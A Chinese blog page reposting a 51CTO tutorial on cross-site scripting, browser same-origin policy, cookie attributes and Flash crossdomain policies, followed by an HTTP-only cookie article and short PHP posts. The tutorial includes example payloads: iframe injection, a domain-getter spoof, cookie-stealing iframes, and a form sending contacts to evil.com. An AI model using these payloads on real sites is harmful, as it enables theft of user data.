手机浏览 RSS 2.0 订阅 膘叔的简单人生 , 腾讯云RDS购买 | 超便宜的Vultr , 注册 | 登陆
浏览模式: 标准 | 列表分类:PHP

来自51CTO的跨站脚本攻击分析(上)

原文:http://netsecurity.51cto.com/art/200902/111415.htm
作者:康凯

由于51CTO上面的文章排版很乱,因此我在复制回来后,重新排版。。。应该会比原文好看一点吧?原文里很多单引号都是用了中文字符的单引号了。已改回来。

原文如下:

跨站脚本的名称源自于这样一个事实,即一个Web 站点(或者人)可以把他们的选择的代码越过安全边界线注射到另一个不同的、有漏洞的Web 站点中。当这些注入的代码作为目标站点的代码在受害者的浏览器中执行时,攻击者就能窃取相应的敏感数据,并强迫用户做一些用户非本意的事情。

在本文中,我们论述浏览器方面的安全措施,以及如何利用跨站脚本(XSS)这种常见的技术来规避浏览器的安全措施。在正式讨论跨站脚本攻击之前,我们必须首先要对现有的安全措施有所了解,所以本文将详细介绍当前Web应用所采取的安全措施,如同源策略、cookie安全模型以及Flash的安全模型。

一、Web安全模型

尽管浏览器的安全措施多种多样,但是要想黑掉一个Web应用,只要在浏览器的多种安全措施中找到某种措施的一个漏洞或者绕过一种安全措施的方法即可。浏览器的各种保安措施之间都试图保持相互独立,但是攻击者只要能在出错的地方注入少许JavaScript,所有安全控制几乎全部瓦解——最后还起作用的就是最弱的安全防线:同源策略。同源策略管辖着所有保安措施,然而,由于浏览器及其插件,诸如Acrobat Reader、Flash 和Outlook Express漏洞频出,致使同源策略也频频告破。在本文里,我们主要讨论浏览器的三个安全模型:
1.同源策略
2.cookies安全模型
3.Flash安全模型

此外,我们还会介绍如何利用JavaScript代码削弱这些安全模型的方法。

二、同源策略

  同源策略又名同域策略是浏览器中的主要安全措施。这里的“源”指的是主机名、协议和端口号的组合;我们可以把一个“源”看作是某个web页面或浏览器所浏览的信息的创建者。同源策略,简单地说就是要求动态内容(例如,JavaScript或者VBScript)只能阅读与之同源的那些HTTP应答和cookies,而不能阅读来自不同源的内容。更为有趣的是,同源策略对写操作没有任何限制。因而,一个web站点可以向任何其他的Web站点发送(或写入)HTTP请求,尽管为了防止跨站请求可能会对发送这些请求有关的cookies和头部有所限制。

  解释同源策略的最好的方法是实例说明。假定我们在网页http://foo.com/bar/baz.html中放上了JavaScript代码。那么,这些JavaScript可以读/写一些页面,但是却不能读/写其他页面。下表说明了来自http://foo.com/bar/baz.html的JavaScript可以访问哪些URL。

URL 能否访问这个URL 原因
https://foo.com/bar/baz.html 不可以。 协议不同,这里使用的协议是HTTPS。
http://www.foo.com/bar/baz.html 不可以。 两个主机名不同,这里的主机名是www.foo.com而不是foo.com。
http://foo.com:8080/bar/baz.html 不可以。 两个端口号不同。这里的端口是8080,而前面的端口被假定为80。
http://foo.com/index.html 可以。 协议和主机名匹配。
端口没有显式说明。
该端口被假设为80。注意,两者的目录是不同的。这个目录是/而非/bar。
http://foo.com/cgi-bin/version2/webApp 可以。 协议和主机名匹配。
端口没有显式说明。
该端口被假设为80。注意目录的区别这里的目录是/cgi-bin/version2,而非上面的/bar
http://foo.com:80/bar/baz.html 可以。 具有几乎相同的URL,HTTP协议匹配,端口是80(HTTP默认的端口),主机名也一样。

  上表说明了当http://foo.com/bar/baz.html试图加载某些URL时同源策略的工作情况。下面我们介绍同源策略的例外。通过在被请求的页面中对JavaScript的变量document.domain进行相应设置,可以使浏览器有限度地违反同源策略,即,如果http://www.foo.com/bar/baz.html页面中含有下列内容:

 

JavaScript代码
  1. <script>  
  2. document.domain = "foo.com";  
  3. </script>  

  那么任何http://xyz.foo.com/anywhere.html页面内的脚本都可以向http://www.foo.com/bar/baz.html发送HTTP请求,并可以读取其内容。在此种情况下,如果攻击者能够向http://xyz.foo.com/anywhere.html中注入HTML或JavaScript的话,那么他同时也能在http://www.foo.com/bar/baz.html中注入JavaScript代码。
为此,攻击者需要首先在http://xyz.foo.com/anywhere.html(其document.domain设为foo.com)中注入HTML和JavaScript,并向http://www.foo.com/bar/baz.html(其document.domain也设为foo.com)中载入一个iframe,然后就可以通过JavaScript来访问该iframe的内容了。例如,http://xyz.foo.com/anywhere.html中的下列代码将在www.foo.com域中执行一个JavaScript的alert()函数:

 

 

XML/HTML代码
  1. <iframe src="http://www.foo.com/bar/baz.html" onload="frames[0].document.body.innerHTML+='<img src=x onerror=alert(1)'"></iframe>  

  这样,document.domain将允许攻击者跨域活动(域际旅行)。注意,你不能在document.domain变量中放入任何域名,相反,只能在document.domain变量中放置“源”页面即所在页面的域名的上级域名,如www.foo.com的上级域名是foo.com 。
在 Firefox浏览器中,攻击者可以利用__defineGetter__()来操纵document.domain,命令 document.domain返回攻击者所选的任意字符串。这个不会损害浏览器的同源策略,因为它只对JavaScript引擎有影响,而不会影响底层的文档对象模型(DOM),然而这对于依靠document.domain在后台进行跨域请求的JavaScript应用程序却是有影响的。例如,假如一个后台请求http://somesite.com/GetInformation?callback=callbackFunction的应答的HTTP体如下所示:

JavaScript代码
  1. function callbackFunction() {  
  2. if ( document.domain == "safesite.com") {  
  3. return "Confidential Information";  
  4. }  
  5. return "Unauthorized";  
  6. }  

  通过诱骗受害者访问(攻击者的)包含下列脚本的页面,攻击者就可以可以获得保密资料:

JavaScript代码
  1. <script>  
  2. function callbackFunction() {return 0;}  
  3. document.__defineGetter__("domain"function() {return "safesite.com"});  
  4. setTimeout("sendInfoToEvilSite(callbackFunction())",1500);  
  5. </script>  
  6. <script src="http://somesite.com/GetInformation?callback=callbackFunction">  
  7. </script>  

  这段HTML代码利用__defineGetter__()对document.domain进行了设置,并且建立了一个针对http://somesite.com/GetInformation?callback=callbackFunction的跨域请求。最后,它会在1.5秒——对于浏览器建立到达somesite.com的请求来说,这个时间已经够宽裕了——之后调用 sendInfoToEvilSite(callbackFunction())。因此,我们不应扩展document.domain来用作它用。
如果同源策略失守,后果如何?同源策略使得一个“邪恶的”Web 站点无法访问其它的Web 站点,然而,一旦同源策略被攻破,后果将会如何?攻击者将可以作哪些事情?下面让我们考察一个假想的例子。
假如一位攻击者在http://www.evil.com/index.html建立了一个页面,该页面可以阅读来自其它域的HTTP应答,例如来自一个webmail应用程序的应答等,并且攻击者可以诱骗webmail用户访问http://www.evil.com/index.html。那么,攻击者将能阅读受骗用户的通信录。 为此,攻击者可以在http://www.evil.com/index.html中放入

下列JavaScript代码:

XML/HTML代码
  1. <html >  
  2. <body >  
  3. <iframe style="display:none" name="WebmailIframe"  
  4. src="http://webmail.foo.com/ViewContacts"> <!-- Step 1 -->  
  5. </iframe>  
  6. <form action="http://evil.com/getContactList" name=”EvilForm" >  
  7. <input type="hidden" name="contacts" value="default value" >  
  8. </form >  
  9. 现在,您所有联系人都已经落入我们的手中了。  
  10. </body >  
  11. <script>  
  12. function doEvil() {  
  13. var victimsContactList = document.WebmailIframe.innerHtml; /* Step 3 */  
  14. document.EvilForm.contacts = victimsContactList;  
  15. document.EvilForm.submit;  
  16. }  
  17. setTimeout("doEvil()", 1000); /* Step 2 */  
  18. </script>  
  19. </html >  

  第一步使用了一个名为WebmailIframe的iframe来装载http://webmail.foo.com/ViewContacts,它是webmail应用程序中的一个调用,用以收集用户的联系人名单。

第二步是等待1秒钟,然后执行JavaScript函数doEvil()。这个延迟能确保联系人名单被装载到iframe中。确认联系人名单已经被装载到iframe之后,doEvil()尝试访问在步骤三中的iframe得到的数据。如果同源策略被攻陷或不存在的话,攻击者就已经在变量 victimsContactList得到了受害者的联系人名单。攻击者可以利用JavaScript和该页面的表单将联系人名单发送至evil.com的服务器。

如果攻击者利用跨站请求伪造(CSRF)技术以受害者的名义向所有联系人发送电子邮件的话,情况会变得更糟:这些联系人将收到一封貌似来自朋友的电子邮件,并且在邮件中邀请他们点击http://www.evil.com/index.html。

注意,如果同源策略失守的话,那么任何Web应用都容易受到攻击,而不仅仅是Webmail应用。 这时Web将没有安全可言,目前的许多安全研究的焦点都集中在攻破同源策略上面。 过不了多久,您就会有惊奇的发现。

三、Cookie安全模型

HTTP是一种无状态协议,这意味着一个HTTP请求/应答对跟另一个HTTP请求/应答对毫不相干。随着HTTP的发展,开发人员希望能够维护所有请求/应答的某些数据,这样他们就能够建立更丰富多彩的Web应用。为此,RFC2109建立了一种标准,每个HTTP请求可以利用HTTP头部自动地将来自用户的数据(又称为cookie)发送给服务器。无论是web页面还是服务器,都可以读/写这个数据。一般情况下,可以通过JavaScript的 document.cookie来访问cookie,而cookie通常是由一些名字和值对组成,如下所示:
CookieName1=CookieValue1; CookieName2=CookieValue2;

由于Cookie经常用来存储诸如认证证书之类的机密信息的,为了保护这些信息,RFC2109为其定义了类似于同源策略的安全策略。服务器定为 cookies的主控制器,服务器不仅可以对cookie进行读写操作,而且还能为cookie配置安全属性。cookie的安全属性如下所示:

1.Domain:这个属性的用途与同源策略类似,但是具有更多的限制。就像同源策略一样,domain在默认时为HTTP请求的Host头部中的域名,但是domain也可以设置成更高一级的域名。例如,如果HTTP请求的Host头部中的域名为x.y.z.com,那么x.y.z.com站点可把cookies设为用于所有*.y.z.com域,但是x.y.z.com站点却不能把cookies设为用于所有*.z.com——因为前面说过,只能比HTTP请求的Host头部中的域名高出一个级别,当然,任何域都不能将cookies设为用于顶级域名,如*.com,这是不允许的。

2.Path:这个属性是用来提高域安全模型的控制力度,使其包含URL路径。注意,属性path是可选的,如果设置了它,那么cookie只会发送给路径与属性path相吻合的那些服务器。例如,如果http://x.y.z.com/a/WebApp建立了一个路径属性设为/a的cookie;那么该cookie只会发送给所有http://x.y.z.com/a/*范围内的请求。但是,当人们向http://x.y.z.com/index.html或http://x.y.z.com/a/b/index.html的请求时,该cookie不会发送。

3.Secure:如果一个cookie设置了该属性,那么只有遇到HTTPS请求时才发送该cookie。注意,HTTP和HTTPS的响应都可以对属性secure进行相应的设置。因此,一个HTTP请求/应答可以改变HTTPS的cookie的secure设置。对于某些高级中间人攻击来说,这是一个大问题。

4.Expires:通常情况下,当浏览器关闭时,cookies就会被删除。不过,您可以设置一个截止日期,在此之前,cookies将一直存放在用户的机器上,并且对于每个HTTP请求都发送此cookie,直到期满为止。截止日期的格式一般为Wdy, DD-Mon-YYYY HH:MM:SS GMT。 通过设置属性expires为一个过去的日期,可以立即删除cookies。

5.HttpOnly:这个属性对于Firefox和Internet Explorer都是新增的。它在Web应用中很少使用,因为它只对Internet Explorer有效。如果这个属性被设置,那么IE 将不允许阅读该cookie,也不允许通过JavaScript的document.cookie对该cookie执行写操作。这个属性是用来防止攻击者窃取cookies来做坏事,不过,攻击者总是可以创建JavaScript来做等价的事情,所以即使不通过窃取cookies也无所谓。
下面是带有安全属性cookies的示例代码:

 

 

JavaScript代码
  1. CookieName1=CookieValue1; domain=.y.z.com; path=/a;  
  2. CookieName2=CookieValue2; domain=x.y.z.com; secure  

  我们知道,像来自服务器端的JavaScript和VBScript代码可以通过访问变量document.cookie来对cookies进行读写操作,除非该cookie设置了HttpOnly属性并且用户正在使用IE。这是一个很大的安全隐患,黑客对此极为感兴趣,因为cookies通常含有认证证书,CSRF保护措施的信息和其他机密信息;此外,中间人攻击可以编辑HTTP通信中的JavaScript代码,呵呵,这简直就是一场恶梦。

如果一位攻击者可以突破或绕过同源策略的话,就可以通过DOM的变量document.cookie轻松读取cookies。另外,写入新的cookies也是非常容易的,攻击者只要使用类似下列字符串格式来连接document.cookie变量即可:

JavaScript代码
  1. var cookieDate = new Date ( 2030, 12, 31 );  
  2. document.cookie += "CookieName=CookieValue;" +  
  3. /* 以下各行均为可选内容 */  
  4. "domain=.y.z.com;" +  
  5. "path=/a;" +  
  6. "expires=" + cookieDate.toGMTString() + ";" +  
  7. "secure;" +  
  8. "HttpOnly;"  

  读者可以对照全面讲述的内容自己理解上述代码,我想这并非难事。

四、Cookies在创建和语法分析方面的安全隐患

Cookies可以用于JavaScript、浏览器、Web服务器、负载均衡系统及其他独立系统,每个系统都使用不同的代码来解析 Cookies。毫无疑问,这些系统将以不同的方式来解析和阅读cookies。攻击者也许能够将受害者已有的cookie中的一个替换掉,换上的 cookie在系统看来表面上跟想要的那个没什么两样,但是实际上内容却大相径庭了。

举例来说,攻击者也许能够添加一个cookie,而这个cookie恰好与受害者已有的cookies中的一个重名,这样攻击者就覆盖了原先的cookie。可以考虑一下大学的设置,其中一位攻击者具有一个公开的web页面,位于http://public-pages.daxue.edu/~attacker,同时该大学在https://webmail.daxue.edu/提供了一个webmail服务。攻击者可以自己制作一个cookie并且将域设为.daxue.edu,然后把它发送到https://webmail.daxue.edu/。假如这个cookie跟webmail用于认证的cookie同名的话,现在webmail系统读取的将是攻击者伪造的cookie,而不是webmail为用户所建立的cookie。

这时候,webmail系统会将发送该cookie的人(即攻击者)当作是其他的人对待,并进入被冒充的人(即受害者)的webmail帐户。之后,攻击者就可以对受害者中的邮件做手脚,让账户内只留下一封电子邮件,并声称用户的电子邮件由于安全原因而被屏蔽,该用户必须转到http://public-pages.Daxue.edu/~attacker/reAuthenticate(或者一个隐蔽的恶意链接)去重新登录才能看到他的所有邮件。攻击者可以建立一个重新认证连接,使其看上去像一个典型的大学登录页面那样要求受害者输入用户名和口令。当受害者递交个人信息后,用户名和口令会被发送给攻击者。
实际上,仅仅注入cookie片段也可以使不同的系统读取不同的cookies。注意,cookies和访问控制使用相同的符号进行分隔:分号(;)。如果攻击者可以通过JavaScript添加cookies,或者cookies是根据一些用户输入来添加的,那么攻击者可以附加一个 cookie片段,以利用该片段改变安全特性或者其它的cookies的值。

五、利用JavaScript将Cookie安全模型降低至同源策略
Cookie安全模型要比同源策略更安全一些,但是利用一些JavaScript,可以把cookie的域还原成跟同源策略的document.domain设置相同的安全级别,并且该cookie的path属性可以被完全绕过。
我们还是使用前面的大学webmail的例子,这里假设攻击者在http://public-pages.daxue.edu/~attacker/创建了一个web页面,同时该大学在http://webmail.daxue.edu/建有一个webmail系统。如果在http://webmail.daxue.edu/中的某个页面的document.domain="daxue.edu",假设该页面为http://webmail.daxue.edu/badPage.html,那么攻击者可以通过诱导受害者到达http://public-pages.daxue.edu/~attacker/stealCookies.htm来窃取受害者的cookies,该页包含以下代码:

 

 

JavaScript代码
  1. <script>  
  2. function stealCookies() {  
  3. var victimsCookies = document.getElementById("iLoveIframes").cookie;  
  4. sendCookiesSomewhere(victimsCookies);  
  5. }  
  6. </script>  
  7. <iframe id="iLoveIframes" onload="stealCookies()"  
  8. style="display:none"  
  9. src="http://webmail.daxue.edu/badPage.html" >  

  类似的,如果攻击者的个人页面位于http://www.daxue.edu/~attacker/,webmail系统位于http://www.daxue.edu/webmail/,同时webmail的cookie中的路径被设为path=/webmail,那么,攻击者就可以通过诱使受害者浏览 http://www.daxue.edu/~attacker/stealCookies.html来窃取受害者的cookie,其中这个页面包含如下所示的恶意代码:

JavaScript代码
  1. <script>  
  2. function stealCookies() {  
  3. var victimsCookies = document.getElementById("iLoveIframes").cookie;  
  4. sendCookiesSomewhere(victimsCookies);  
  5. }  
  6. </script>  
  7. <iframe id="iLoveIframes" onload="stealCookies()"  
  8. style="display:none"  
  9. src="http://www.daxue.edu/webmail/anyPage.html" >  
  10. </iframe>  

  六、保护Cookie
利用Cookie安全模型中添加的特性,但是不要完全依赖Cookie安全模型中的添加的安全特性。只信任同源策略,并围绕同源策略来打造Web应用程序的安全性。

七、Flash的安全模型
Flash是一种流行的Web浏览器插件,它近来发行的版本中包含了很多复杂的安全模型以供开发人员根据自己的喜好进行定制。这里我们将介绍Flash的安全模型的各个方面,首先介绍的是JavaScript所不具备的那些特性。
Flash的脚本语言称为ActionScript,它与JavaScript非常类似,并且包含了一些从攻击者的角度看来非常感兴趣的一些类:
1.Socket类使开发人员可以创建至allowed域的原始TCP套按字连接,这可以用来达到各种目的,比如精心制作带有伪造的各种报头(例如referrer)的HTTP请求。此外,套按字也可用于扫描无法从外部访问的网络计算机和端口。  
2.ExternalInterface类使开发人员可以从Flash运行浏览器中的JavaScript,以达到各种目的,例如读写document.cookie。
3.XML和URLLoader这两个类可以以某用户的名义发送HTTP请求(连带浏览器的Cookie)至allowed域,以达到各种目的,例如跨域请求。
默认时,Flash的安全模型与同源策略非常类似。即,来自于某个域的Flash应用只可以读取来自该域的响应。此外,Flash还对HTTP请求的发送做了一些安全限制,但是您可以经过Flash的getURL函数发送跨域的GET请求。此外,Flash不允许通过HTTP装入的Flash应用程序读取用 HTTPS载入的响应。需要注意的是,如果在另一个域上的安全策略准许跟Flash应用程序所在域通信的话,Flash却允许跨域通信。安全策略通常是一个名为crossdomain.XML的XML文件,一般位于域的根目录下。从安全角度讲,最糟糕的策略文件可能是下面这样:

 

 

XML/HTML代码
  1. <cross-domain-policy>  
  2. <allow-access-from domain="*" />  
  3. </cross-domain-policy>  

  该策略允许任何Flash应用程序跟存放这个crossdomain.xml文件的服务器(跨域)通信。该策略文件可以任意取名,并且可以放在任何目录下。可以使用下列ActionScript代码加载任意的安全策略文件:
System.security.loadPolicyFile("http://public-" +"pages.univeristy.edu/crossdomain.xml");
如果它不在服务器的根目录中,那么该政策仅适用于该策略文件所在的目录以及该目录下的所有子目录。举例来说,假设策略文件位于http://public-pages.daxue.edu/~attacker/crossdomain.xml,那么该政策将适用于对http://publicpages.daxue.edu/~attacker/doEvil.html和http://public-pages.daxue.edu/~attacker/moreEvil/doMoreEvil.html的请求,而不对诸如http://public-pages.daxue.edu/~someStudent/familyPictures.html或http://public-pages.daxue.edu/index.html这样的页面有影响。

八、反射策略文件

策略文件会被Flash“宽大地”解析,因此,如果您可以构造一个会导致服务器发回一个策略文件的HTTP请求,Flash将接受该策略文件。举例来说,http://www.daxue.edu/CourseListing?format=js&callback=<cross-domain-policy><allow-accessfrom%20domain="*"/></cross-domain-policy>这个Ajax请求

将得到如下所示的响应:

XML/HTML代码
  1. <cross-domain-policy ><allow-access-from%20domain="*">  
  2. </cross-domain-policy >() { return {name:"English101",  
  3. desc:"Read Books"}, {name:"Computers101",  
  4. desc:"play on computers"}};  
  5. 然后,您可以通过ActionScript加载该策略:  
  6. System.security.loadPolicyFile("http://www.daxue.edu/" +  
  7. "CourseListing?format=json&callback=" +  
  8. "<cross-domain-policy >" +  
  9. "<allow-access-from%20domain=\"*\"/ >" +  
  10. "</cross-domain-policy >");  



这样会导致该Flash应用程序能够得以跨域访问http://www.daxue.edu/。
也能您已经想到了,如果人们可以上载一个文件到包含一个不安全的策略文件的服务器并能够随后在通过HTTP进行检索的话,那么System.security.loadPolicyFile()函数也会跟这个策略文件关联起来。

总之,Flash将遵守任何包含跨域策略的文件,除非</cross-domainpolicy>之前存在任何未闭合的标签或者扩展ASCII字符。注意,Flash Player会完全忽略MIME类型。

九、针对策略文件反射的保护措施

当把用户定义的数据返回给该用户时,应当把HTML中的大于号〉换码为&gt;并且把字符<转换为&lt;,或者直接将其删除。

十、结束语

在浏览器中已经建立了一些安全措施——即同源策略和Cookie安全模型。此外,一些浏览器插件,诸如Flash Player、Outlook Express 以及Acrobat Reader等,带来了更多的安全问题和安全措施。然而,如果攻击者可以强迫用户执行源自特定域的JavaScript的话,这些额外的安全措施总是倾向于削弱同源策略的力量。

跨站点脚本攻击(XSS)技术能够强迫用户执行攻击者以受害者名义在某个域上选择的脚本,如JavaScript、VBScript、 ActionScript,等等。XSS要求某个域上的Web应用程序能够提供(即供应、返回)被攻击者所控制的字符。因此,攻击者可以向页面注入代码,而这些代码将来会在这个有弱点的域的上下文中执行。攻击者精心构造出供受害者运行的恶意代码之后,他还必须诱骗受害者单击一个链接。该链接一经点击,马上就会启动攻击活动。这些内容将在下一篇中加以介绍。

 

Tags: 跨站脚本, 跨站攻击, 分析, 51cto, xss

跨站脚本攻击防范的几个方法

一、拒绝特殊字符

  问:我对防御跨站脚本攻击(XSS) 很有兴趣。如果我拒绝使用<、 >、脚本——以及容易导致恶意攻击的同等实体参数——这样的字符和词语,那么就会增加应用开发的成本。你会推荐这种“作战”方式吗?

  答:不,相反,我推荐开发人员在他们的应用代码中只允许适应应用功能所必需的规定字符。这是应用开发的最佳做法。

 

  很多企业都把安全代码作为在开发过程的最后才会发生的事情。但是,如果在开发周期的最后阶段测试应用的人说应用需要记录来保证安全性,那么应用就需要重写并重新测试,与之相结合的其他应用也是如此。这种持续的矛盾比在安全开发周期中进行的不断地安全过程成本高得多。

 

  如果有一种领域称为“稳定”,例如,就没有理由允许<、>、;、*、--或者:作为可能参数。如果应用开发人员写的代码只允许接受已知的良好参数,就会通过减少质量担保和认证以及信赖测试的成本降低应用开发的整体成本。

二、利用HTTP-only Cookie缓解XSS之痛

以下内容来自51CTO,原文:http://netsecurity.51cto.com/art/200902/111143.htm

  在Web安全领域,跨站脚本攻击时最为常见的一种攻击形式,也是长久以来的一个老大难问题,而本文将向读者介绍的是一种用以缓解这种压力的技术,即HTTP-only cookie。

  我们首先对HTTP-only cookie和跨站脚本攻击做了简单的解释,然后详细说明了如何利用HTTP-only cookie来保护敏感数据,最后介绍了实现HTTP-only cookie时确定浏览器版本的具体问题。

  1、XSS与HTTP-only Cookie简介

  跨站点脚本攻击是困扰Web服务器安全的常见问题之一。跨站点脚本攻击是一种服务器端的安全漏洞,常见于当把用户的输入作为HTML提交时,服务器 端没有进行适当的过滤所致。跨站点脚本攻击可能引起泄漏Web 站点用户的敏感信息。为了降低跨站点脚本攻击的风险,微软公司的Internet Explorer 6 SP1引入了一项新的特性。

  这个特性是为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie。

  像这样具有该属性的cookie被称为HTTP-only cookie。包含在HTTP-only cookie中的任何信息暴露给黑客或者恶意网站的几率将会大大降低。下面是设置HTTP-only cookie的一个报头的示例:

  Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly

  上面我们介绍了HTTP-only Cookie;下面我们开始向读者介绍跨站点脚本攻击、允许通过脚本访问的cookie所带来的潜在危险以及如何通过HTTP-only来降低跨站点脚本攻击的风险。   

  跨站点脚本攻击是一种服务器端常见的安全漏洞,它使得黑客可以欺骗用户从而导致用户在某个Web 站点上的敏感信息的泄漏。下面通过一个简单的示例来解释一个跨站点脚本攻击的相关步骤。

  2、跨站点脚本攻击示例

  为了解释跨站点脚本攻击是如何被黑客利用的,我们假想了下面的一个例子:

  A证券公司运行了一个Web 站点,该站点允许您跟踪某股票的最新价格。为了提高用户体验,登录A证券公司的Web 站点之后,你将被重定向到www.azhengquan.com/default.asp?name = < script > evilScript()< / script >张三,并且有一个服务器端脚本生成一个欢迎页面,内容为“欢迎您回来,张三!”。

  你的股票数据被存放在一个数据库中,并且Web 站点会在你的计算机上放置一个cookie,其中包含了对这个数据库非常重要的数据。每当你访问A证券公司站点时,浏览器都会自动发送该cookie。

  一个黑客发现A证券公司公司的Web 站点存在一个跨站点脚本攻击缺陷,所以他决定要利用这点来收集你所持股票的名称等敏感信息。黑客会您你发送一封电子邮件,声称您中奖了,并且需要点击某个链接如“点击这里”来领取奖品。注意,该链接将超链接到www.azhengquan.com/default.asp?name=< script >evilScript()< / script > 当您点击这个链接,映入眼帘您的将是“欢迎您回来!”—— 等等,您的姓名哪里去了?事实上,单击电子邮件内的链接之后,你实际上就是在通知A证券公司公司的Web 站点,你的姓名是< script  > evilScript()<  /script >。Web服务器把用这个“名字”生成的HTML返回给你,但是你的浏览器会把这个“名字”作为脚本代码解释,脚本执行后便出现了我们前面看到的一 幕。一般情况下,支持客户端脚本是浏览器的典型功能之一。如果这个脚本命令浏览器向黑客的计算机发回一个cookie,即使这个cookie包含有您的股 票的有关信息,您的浏览器也会老老实实地执行。最后,那些来自A证券公司的Web 站点的指令获取了那个包含敏感信息的cookie。

  下面是跨站脚本攻击的示意图,它详细的展示了攻击的五个步骤。首先,用户点击了黑客发来的电子邮件中的一个嵌入的链接(第1步)。由于跨站点脚本攻 击缺陷的原因,这样会导致用户的浏览器向Web 站点发送一个请求(第2步);服务器端根据该请求会生成一个包含恶意脚本的响应,并将其发回给用户的浏览器(第3步)。当用户的机器执行返回的恶意代码时 (第4步),就会将用户的敏感数据发送给黑客的计算机(第5步)。

大小: 20.38 K
尺寸: 500 x 339
浏览: 1865 次
点击打开新窗口浏览全图
图1

  我们可以看到,这个过程只需要用户单击了一个链接,然后就会有指令发送给Web服务器,然后Web服务器生成一个嵌入恶意脚本的网页;浏览器运行这个来自受信任的源的脚本,却致使信息泄漏给黑客的计算机。跨站点脚本攻击有许多不同的形式,这里只是其中的一种。

  3、用HTTP-only Cookie保护数据

  为了缓解跨站点脚本攻击带来的信息泄露风险,Internet Explorer 6 SP1为Cookie引入了一个新属性。这个属性规定,不许通过脚本访问cookie。使用HTTP-only Cookie后,Web 站点就能排除cookie中的敏感信息被发送给黑客的计算机或者使用脚本的Web站点的可能性。

  Cookie通常是作为HTTP 应答头发送给客户端的,下面的例子展示了相应的语法(注意,HttpOnly属性对大小写不敏感):

  Set-Cookie: =[; =]
  [; expires=][; domain=]
  [; path=][; secure][; HttpOnly]

  即使应答头中含有HttpOnly属性,当用户浏览有效域中的站点时,这个cookie仍会被自动发送。但是,却不能够在Internet Explorer 6 SP1中使用脚本来访问该cookie,即使起初建立该cookie的那个Web 站点也不例外。这意味着,即使存在跨站点脚本攻击缺陷,并且用户被骗点击了利用该漏洞的链接,Internet Explorer也不会将该cookie发送给任何第三方。这样的话,就保证了信息的安全。
注意,为了降低跨站点脚本攻击带来的损害,通常需要将HTTP-only Cookie和其他技术组合使用。如果单独使用的话,它无法全面抵御跨站点脚本攻击。

  4、支持HTTP-only Cookie的浏览器

  如果Web 站点为不支持HTTP-only Cookie的浏览器建立了一个HTTP-only cookie的话,那么该cookie不是被忽略就是被降级为普通的可以通过脚本访问的cookie。这还是会导致信息容易被泄露。

  对于公司内部网中的web页面,管理员可以要求所有用户都是由支持HTTP-only Cookie的浏览器,这样能保证信息不会由于跨站点脚本攻击缺陷而泄露。

  对于公共Web 站点,由于需要支持各种各样的浏览器,这时可以考虑使用客户端脚本来确定不同访问者所使用的浏览器的版本。Web 站点可以通过向支持~的浏览器发送敏感信息以减轻跨站点脚本攻击对Cookie的威胁。对于那些使用不支持HTTP-only Cookie的浏览器的访问者,可以限制为其提供的信息或功能,并要求升级他们的软件。

  当确定Internet Explorer的版本时,重要的是记住Internet Explorer 6 SP1 的用户代理字符串跟Internet Explorer 6的用户代理字符串是一样的。客户端脚本还必须使用navigator对象的appMinorVersion属性检测主版本号,这样才能确定出客户端是否 安装了Internet Explorer 6 SP1。

  5、小结

  在Web安全领域,跨站脚本攻击时最为常见的一种攻击形式,也是长久以来的一个老大难问题,而本文将向读者介绍一种用以缓解这种压力的技术,即 HTTP-only cookie。我们首先对HTTP-only cookie和跨站脚本攻击做了简单的解释,然后详细说明了如何利用HTTP-only cookie来保护敏感数据,最后介绍了实现HTTP-only cookie时确定浏览器版本的具体问题。

 

Tags: 跨站攻击, xss

使用PHPRPC与论坛同步登录退出

很久以前就用过PHPRPC,几年没用了,虽然一直在关注着,最近尝试着他来做了一下DZ6.0论坛,把遇到的情况与大家分享一下

首先使用PHPRPC把服务器的一些信息传递给客户端,如cookie的一些设置还有最重要的auth_key,然而即使是这样,我最后也没有同步成功。

经过仔细检查,才发现原来是authcode函数所导致。因为authcode函数里使用了一个全局变量$discuz_auth_key,这个key是在使用common.inc.php的时候根据useragent加上一定的规范而生成的。我在传递的时候把这个变量传回给了客户端,但发现通过PHPRPC生成的key与直接使用浏览器打开生成的KEY不一样。导致最后登录所生成的COOKIE无法decode,最后根据这个生成key的规范,在客户端直接生成好发送给服务端覆盖掉全局变量,使得验证通过。

(写的有点乱,其实就是对于不是从数据库里读出来的全局变量,PHPRPC访问时与直接浏览器访问时所生成的数据不一样)

然后在登录的时候因为DZ还要判断SID,如果有SID了那肯定是无法同步登录(理由和上面一样,两边生成的SID会不一样),于是先清空SID,然后再登录,由服务端生成好SID再传回来,就OK了。。。

由于这次是加载common.inc.php进行处理的,所以很多变量会在系统加载的时候生成,但由于我采用了PHPRPC,在这一步完成后,我会尝试不再加载common.inc.php,这样也可以节约开销(在用户量不大的时候无所谓,但因为每次调用PHPRPC,可能会造成在线用户数加1 这个问题。)

逐步改进,oh yeah

Tags: phprpc

pktmandy:php ajax开发中的字符集

最近在作一个uchome的小应用(只有两个input),为了增加体验要用到ajax,结果一折腾就是好几天,光调字符集问题就花了两天,以 前写asp,jsp时从来没费这么大劲.由于DW3中的default encoding没有GBK选项,用UTF-8写到库里是乱码,只能用GB2312.ajax总是在参数是中文时返回错误的结果(MySQL的 Connection是GBK,php页面用的是GB2312;header,meta,ajax的setRequestHeader也是 GB2312).
 
1.GBK和GB2312的不同
用FireFox的FireBug看到参数发送时是乱码,但在被请求页中返回的请求参数是正常的!就没有往字符集上想.就理所认为GBK ==GB2312,我从MSDN上看到的也验证了这个结果。让我们一起去看看:
大小: 51.43 K
尺寸: 500 x 17
浏览: 1932 次
点击打开新窗口浏览全图
大小: 56.06 K
尺寸: 500 x 31
浏览: 1751 次
点击打开新窗口浏览全图
 
折腾了2个多小时没想明白!去搜索一下吧:
以下来自:CSDN:http://blog.csdn.net/gashero/archive/2007/02/17/1511435.aspx

也许大家已经看惯了书上说的GBK是对GB2312的扩充,就是说,GB2312字符集中的所有字符都可以在GBK 字符集中找到。(by gashero)可是最近在一次调试Python爬虫的过程中就发现了一些字符的不同。同时大家也应该注意一些网页的默认编码字符集了。

当时正在分析的一个网页的默认编码字符集是GB2312,其中含有一个符号"·",这个常作为项目符号。在使用 GB2312进行解码时,得到的unicode字符是\u30fb,然后使用系统默认编码GBK进行打印时就提示了编码错误。即字符串"\xa1 \xa4"无法使用GB2312解码为unicode字符后再编码为GBK编码显示。(by gashero)实际测试中只要不会交换编码,那么使用同一种编码进行编码和解码就不会出问题。

